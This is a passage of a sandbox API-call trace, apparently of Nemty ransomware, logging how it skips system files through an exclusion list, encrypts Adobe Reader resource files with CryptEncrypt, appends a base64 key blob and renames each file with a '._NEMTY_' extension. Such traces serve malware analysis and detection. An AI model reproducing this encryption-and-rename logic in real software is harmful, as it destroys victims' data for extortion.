(x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt._nemty_kgobjgd_")) returned 1 [0215.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0215.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340320 | out: hHeap=0x4f90000) returned 1 [0215.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340228 | out: hHeap=0x4f90000) returned 1 [0215.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0215.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.254] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec4, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es.txt", cAlternateFileName="DIA363~1.TXT")) returned 1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2=".") returned 1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="..") returned 1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="...") returned 1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="windows") returned -1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="rsa") returned -1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="NTDETECT.COM") returned -1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="ntldr") returned -1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="MSDOS.SYS") returned -1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="IO.SYS") returned -1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="boot.ini") returned 1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="boot.ini") returned 1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="ntuser.dat") returned -1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="desktop.ini") returned 1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="CONFIG.SYS") returned 1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="RECYCLER") returned -1 [0215.254] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.255] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="bootmgr") returned 1 [0215.255] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="programdata") returned -1 [0215.255] lstrcmpiW (lpString1="DisplayLanguageNames.es.txt", lpString2="appdata") returned 1 [0215.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es.txt", lpUsedDefaultChar=0x0) returned 27 [0215.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es.txt", lpUsedDefaultChar=0x0) returned 27 [0215.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es.txt", lpUsedDefaultChar=0x0) returned 27 [0215.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es.txt", lpUsedDefaultChar=0x0) returned 27 [0215.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.255] Sleep (dwMilliseconds=0x5) [0215.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33f1a0f0, dwHighDateTime=0x1d561e8)) [0215.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33f1a0f0, dwHighDateTime=0x1d561e8)) [0215.263] GetLastError () returned 0x0 [0215.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.263] GetLastError () returned 0x0 [0215.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.263] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.263] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.263] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.263] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="g1Ct/cL+/6TSSc6jg5ivykD2w8Je1zJnBValWA7rrq5GJpkjv85v3wn//6yejwNg\r\n61YwbvdeiaaidNwOeL4L1NTuw0eZtScILjbwdPW6qrV2EJSHm7cCw6C3Y6WfIl9G\r\nDqpy9Tc3ee5SZ2eA4V3Ad/A38qj88eiG6SajrfopYLXENihYAbjXlMZJ/KygBFLr\r\nL5AyxfUC9PQyO3EE24pSCiS1tHiGCq6cpLVjkkETMEjPdqem+XN/D7BIc9bbuGtU\r\nIQJpJXK0Dx82e+JBF/tihOhIY3JLKr9hrTKx+Ezx9s/Qi8718bKFAQTTt0NmCam7\r\nx1RW0LXCRvBV68WH03QQTQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.263] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.264] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28356) returned 1 [0215.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.264] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.264] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.267] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.267] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.267] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28356, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec4 [0215.267] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.268] CloseHandle (hObject=0x2e8) returned 1 [0215.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.268] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es.txt._nemty_kgobjgd_")) returned 1 [0215.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.269] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_AR.txt", cAlternateFileName="DID78F~1.TXT")) returned 1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2=".") returned 1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="..") returned 1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="...") returned 1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="windows") returned -1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="rsa") returned -1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="NTDETECT.COM") returned -1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="ntldr") returned -1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="MSDOS.SYS") returned -1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="IO.SYS") returned -1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="boot.ini") returned 1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="boot.ini") returned 1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="ntuser.dat") returned -1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="desktop.ini") returned 1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="CONFIG.SYS") returned 1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="RECYCLER") returned -1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="bootmgr") returned 1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="programdata") returned -1 [0215.269] lstrcmpiW (lpString1="DisplayLanguageNames.es_AR.txt", lpString2="appdata") returned 1 [0215.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_AR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_AR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_AR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_AR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_AR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_AR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_AR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_AR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_AR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_AR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_AR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_AR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.270] Sleep (dwMilliseconds=0x5) [0215.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33f40250, dwHighDateTime=0x1d561e8)) [0215.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33f40250, dwHighDateTime=0x1d561e8)) [0215.278] GetLastError () returned 0x0 [0215.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.278] GetLastError () returned 0x0 [0215.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.278] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.278] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.278] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.278] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="Bu/33Yeu0S3GyeDZ5UhdqoYECCOesva9qKqRxaaiqCzXCS6SS2vaQXFbw5u/U7Qf\r\nbRHG2d3AMIwKkY9DOdDtzuDCPg2riCrD9v35dxTCp6ZXitVjMdmtEm0U0LaEMkau\r\naa73/5HFr0Jl09kM4bpmZtGwanzYT/kNC9f3X+Qy879guzv8x5ia7LTQZNdlkAwW\r\nMPjo+pELOOYHqDA6w9jgknGMVrDA+oliIRpMccwQ81Xcm8KdpUnFaYR1aOmdkGDj\r\n1nnrfqkiqRx02z7Wi4IYNgwgKydaDMWANMDPNe5n/6EckguTA+QPqfBz1FAwnUmG\r\n9Kc+qdO9VkDeSfCn9xQGBQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.278] 